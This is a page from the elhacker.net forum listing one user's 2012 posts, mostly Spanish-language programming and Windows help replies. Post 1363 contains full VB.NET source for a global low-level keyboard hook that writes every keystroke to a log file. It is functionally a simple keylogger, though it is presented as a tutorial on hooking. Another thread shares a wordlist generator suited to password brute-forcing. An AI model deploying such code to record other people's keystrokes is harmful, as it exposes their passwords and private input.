elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


  Mostrar Mensajes
Páginas: 1 ... 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 [137] 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 ... 166
1361  Seguridad Informática / Wireless en Windows / Re: Como saber un BSSID de una red? en: 27 Marzo 2012, 23:36 pm
Bajo un SO Windows puedes ver todas las BSSID dentro del radio de alcance de tu tarjeta con el programa NetStumbler, de lo mejorcito.

No sé si con el comando netsh se podía lograr también.

Bajo GNU/Linux ya es muy fácil la manera de obtener dicha info, solo con airodump lo logras, o con iwconfig.

Saludos.
1362  Sistemas Operativos / Windows / Re: notepad win7, ? en: 27 Marzo 2012, 02:25 am
No corres riesgo alguno. Simplemente estás dando nombre a un nuevo archivo de texto plano.

Es decir, si escribes en la barra de buscar notepad, encontrarás el Bloc de Notas... pero si añades notepad + "algo".txt estarás creando un archivo de nombre ese "algo".

Un saludo.
1363  Programación / .NET (C#, VB.NET, ASP) / [APORTE] Hook global de teclado (sin DLL) VB .NET en: 26 Marzo 2012, 22:52 pm
Buenas .NET(adictos),

he observado que por este foro circulan peticiones de usuarios que desean introducirse en el mundo del hooking en Windows y he decidido codear una breve aplicación, comentada al detalle para su buen entendimiento y poder comprender las nociones básicas del Hooking.

La verdad que aprendí hace unos 2 días, me puse en C a codearlo pero .NET me tira más, ya después de leer la documentación de MSDN (abajo os dejo el link) y utilizar un poquito (la Web) Pinvoke para declarar las funciones del API ya pude completar el programa.

El programa simplemente establece un Hook de tipo LowLevelKeyBoard, captura las teclas interceptadas por el hook y finalmente las guarda una a una en un fichero de la carpeta actual.

Link Documentacion Hooks-> http://msdn.microsoft.com/en-us/library/windows/desktop/ms632589%28v=vs.85%29.aspx

Como no, comparto con vosotros el Source del programa. Está codeado bajo el Framework 4.0 y desarrollado en Visual Basic .NET (VS 2010)

Link de descarga -> http://www.mediafire.com/?4fbdmx5obwu5k10

Source:

Código
  1. Imports System.Runtime.InteropServices
  2. Imports System.IO
  3. Imports System.Threading
  4. Imports System.Windows.Forms
  5. Public Class Form1
  6.    Enum Constantes As Integer
  7.        WH_KEYBOARD_LL = 13
  8.        HC_ACTION = 0
  9.        WM_KEYDOWN = &H100
  10.        WM_KEYUP = &H101
  11.        WM_SYSKEYDOWN = &H104
  12.        WM_SYSKEYUP = &H105
  13.    End Enum '-> Constantes utilizadas en el Hook Global
  14.    <StructLayout(LayoutKind.Sequential)> _
  15.    Public Class KBDLLHOOKSTRUCT
  16.        Public vkCode As UInt32
  17.        Public scanCode As UInt32
  18.        Public flags As UInt32
  19.        Public time As UInt32
  20.        Public dwExtraInfo As UIntPtr
  21.    End Class '-> Estructura que contiene los mensajes interceptados por el Hook
  22. #Region "Declaraciones_API"
  23.    <DllImport("user32.dll")> _
  24.    Friend Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal lpfn As HookProc, ByVal hInstance As IntPtr, ByVal threadId As Integer) As Integer
  25.    End Function
  26.  
  27.    <DllImport("user32.dll")> _
  28.    Friend Shared Function CallNextHookEx(ByVal hhk As IntPtr, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
  29.    End Function
  30.    <DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True)> _
  31.    Public Shared Function GetModuleHandle(ByVal lpModuleName As String) As IntPtr
  32.    End Function
  33.    <DllImport("user32.dll", SetLastError:=True)> _
  34.    Public Shared Function UnhookWindowsHookEx(ByVal hhk As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
  35.    End Function
  36. #End Region '-> Declaraciones de APIs para el uso de Hooks (SetWindowsHookEx...)
  37.    Enum HookType As Integer
  38.        WH_JOURNALRECORD = 0
  39.        WH_JOURNALPLAYBACK = 1
  40.        WH_KEYBOARD = 2
  41.        WH_GETMESSAGE = 3
  42.        WH_CALLWNDPROC = 4
  43.        WH_CBT = 5
  44.        WH_SYSMSGFILTER = 6
  45.        WH_MOUSE = 7
  46.        WH_HARDWARE = 8
  47.        WH_DEBUG = 9
  48.        WH_SHELL = 10
  49.        WH_FOREGROUNDIDLE = 11
  50.        WH_CALLWNDPROCRET = 12
  51.        WH_KEYBOARD_LL = 13
  52.        WH_MOUSE_LL = 14
  53.    End Enum '-> Tipos de Hooks para monitorizar mensajes
  54.    'Declaramos un delegado y le asignamos sus respectivos argumentos
  55.    Delegate Function HookProc(ByVal code As Integer, ByVal wParam As IntPtr, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
  56.    Private CallbackDelegate As HookProc = Nothing
  57.    'Declaramos la variable Hook. Será la encargada de almacenar la direccion de memoria del Hook
  58.    Dim hook As IntPtr = IntPtr.Zero
  59.    'Procedimiento asociado al puntero AddressOf(CallBackDelegate)
  60.    Private Function HookprocHandler(ByVal code As Integer, ByVal wParam As IntPtr, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
  61.        Try
  62.            'Code es la variable encargada de decir si existe un mensaje. Si code !=0 no habra nada.
  63.            If (code < 0) Then
  64.                'Damos paso al siguiente Hook y procedemos con el continuamiento del Sistema
  65.                Return CallNextHookEx(IntPtr.Zero, code, wParam, lParam)
  66.            Else
  67.                Dim sr As New StreamWriter(CurDir() & "\log.txt", True)
  68.                'Segun el código devuelto a la pulsación de la tecla (257,258)
  69.                Select Case wParam
  70.                    Case Constantes.WM_KEYDOWN, Constantes.WM_SYSKEYDOWN
  71.                        Dim key As Char = ChrW(lParam.vkCode) 'Imprimimos el caracter ASCII en pantalla
  72.                        sr.Write(key)
  73.                End Select
  74.                sr.Close()
  75.                Return CallNextHookEx(IntPtr.Zero, code, wParam, lParam)
  76.            End If
  77.        Catch ex As Exception
  78.        End Try
  79.        Return 1
  80.    End Function
  81.    Private Sub Iniciar_Hook()
  82.        Try
  83.            'Asociamos a dicho procedimiento un puntero hacia el controlador del Hook (HookProcHandler)
  84.            CallbackDelegate = New HookProc(AddressOf HookprocHandler)
  85.            If hook <> 0 Then
  86.                'Desinstalamos el Hook
  87.                UnhookWindowsHookEx(hook)
  88.                hook = IntPtr.Zero
  89.                btn_hook.Text = "Hookear Teclado"
  90.            Else
  91.                'Instalamos un Hook Global (LowLevelKeyBoard) y llamamos a la funcion HookProcHandler
  92.                'Los ultimos dos parametros indican el HINSTANCE y PID, se utilizarian en caso de Hook local _
  93.                'empleados en juegos y demás.
  94.                hook = SetWindowsHookEx(HookType.WH_KEYBOARD_LL, CallbackDelegate, 0, 0)
  95.                btn_hook.Text = "Desinstalar Hook"
  96.                FileSystem.Kill(CurDir() & "\log.txt")
  97.            End If
  98.        Catch ex As Exception
  99.        End Try
  100.  
  101.    End Sub
  102.    Private Sub btn_hook_Click(sender As System.Object, e As System.EventArgs) Handles btn_hook.Click
  103.        Iniciar_Hook()
  104.    End Sub
  105. End Class
  106.  

Espero que os haya gustado el aporte. Cualquier duda que pueda surgir con el tema posteadla aquí, no olvideis que esto es lo más básico, los hooks tienen muchísimo juego.

Un Saludo ;)
1364  Programación / .NET (C#, VB.NET, ASP) / Re: [APORTE] Generador de Diccionarios VB.NET en: 26 Marzo 2012, 22:26 pm
Mira buscando algoritmos para diccionario llego aquí, me quedo con el de vb6 no me pide nada extra que instalar.

Nota: Compila con un FrameWork mas bajo a el 4... ya que no usas todo el potencial del mismo...

Dulces Lunas!¡.

Buen consejo. La verdad que en máquinas virtuales ya sufrí con dicha compilación bajo el Framework 4.0, tuve que instalarlo en ambas máquinas.

tienes alguno que supone empiece de 9 -> 0... Z -> A?

estaría bueno agregar eso.

Estoy en ello. La verdad que el proyecto lo abandoné por falta de creatividad en ultima instancia (como adorno mis comidas de cabeza) pero aseguro que lo terminaré. Por ahora adelanto que calcula en un diccionario todas las combinaciones alfabeticas de X longitud de cadena.

HOLA!!!

Te basaste en el mio http://foro.elhacker.net/programacion_visual_basic/source_brute_force_dictionary_creator_7913-t325748.0.html ?

XD

Te recomiendo poner minimo de cadena tambien

GRACIAS POR LEER!!!

Para nada jeje :D El tuyo al parecer por el código es más completo. Si le echas un vistazo al código de esta aplicación (creo que lo deje lleno de comentarios para entender el cod. fuente) verás que los procedimientos que implemente son muy sencillos.

Gracias a todos por echarle un vistacillo al programa :)

Saludos!
1365  Programación / .NET (C#, VB.NET, ASP) / Re: [APORTE] Generador de Diccionarios VB.NET en: 26 Marzo 2012, 00:07 am
Hola, ¿podrías re-subirlo?, el enlace está caído, muchas gracias.

Vaya, parece ser que mediafire lo eliminó porque no disponía de cuenta en tal dominio.

Lo he movido a 4shared.com. He corregido el link de descarga del primer Post y os adjunto aquí el dicho Link.

Generador de Diccionario -> http://www.4shared.com/rar/L_AjQLzh/file.html
Contraseña -> kub0x.NET

Gracias por la notificación,

Un Saludo.
1366  Programación / .NET (C#, VB.NET, ASP) / Re: Coordenadas Mouse - Punto infinito - VB en: 23 Marzo 2012, 15:23 pm
Solo falta que quites el timer y pongas un bucle infinito y lo duermes con un sleep durante X segundos (el intervalo que tienes puesto en el timer).

Gualá, así tienes un timer con una sentencia de control.

La verdad es que en .NET me divierto más :D

Saludos.
1367  Programación / .NET (C#, VB.NET, ASP) / Re: Consejo de que seguir estudiando...(Ayuda) en: 22 Marzo 2012, 01:37 am
Como ya sabras puedes combinar Visual Basic .NET con varios lenguajes de la lista.

Asp .NET como vb .net es un lenguaje de la plataforma .NET. Aunque tenga cambios en su sintaxis si le echas un vistazo verás que se asimila bastante... y no es mal lenguaje, brinda muchas posibilidades.

Si te vas a poner con Asp .Net deberias de revisar tambien php, ambos lenguajes sirven para implementar servicios web ("creo").

Soy más de programar aplicaciones de escritorio :D

Saludos.
1368  Programación / Programación C/C++ / Re: GENERAR PULSACIONES , Q,W,E SIMULTANEAMENTE en: 21 Marzo 2012, 22:27 pm
Buenas otra vez,

si has programado la aplicación y crees que la causa del error está en alguna parte del codigo o que simplemente está incompleto pues puedes postearlo para que podamos ayudarte.

saludos.
1369  Programación / .NET (C#, VB.NET, ASP) / Re: Problema con la API GetAsyncKeyState vb.net en: 21 Marzo 2012, 22:24 pm
De nada, para eso estamos ;)

Un saludo.
1370  Programación / Programación C/C++ / Re: GENERAR PULSACIONES , Q,W,E SIMULTANEAMENTE en: 21 Marzo 2012, 19:17 pm
Buenas Cess1209,

Debes de dar más datos sobre lo que quieres hacer ;) ¿Las pulsaciones de dichas teclas a que programa las quieres enviar? ¿Qué lenguaje (Script, interpretado o compilado) de programación utilizas para codear la aplicación? ¿Qué métodos utilizas? Cuanta mas info dejes mejor, así los foreros podremos ayudar.

Un saludo.
Páginas: 1 ... 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 [137] 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 ... 166
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines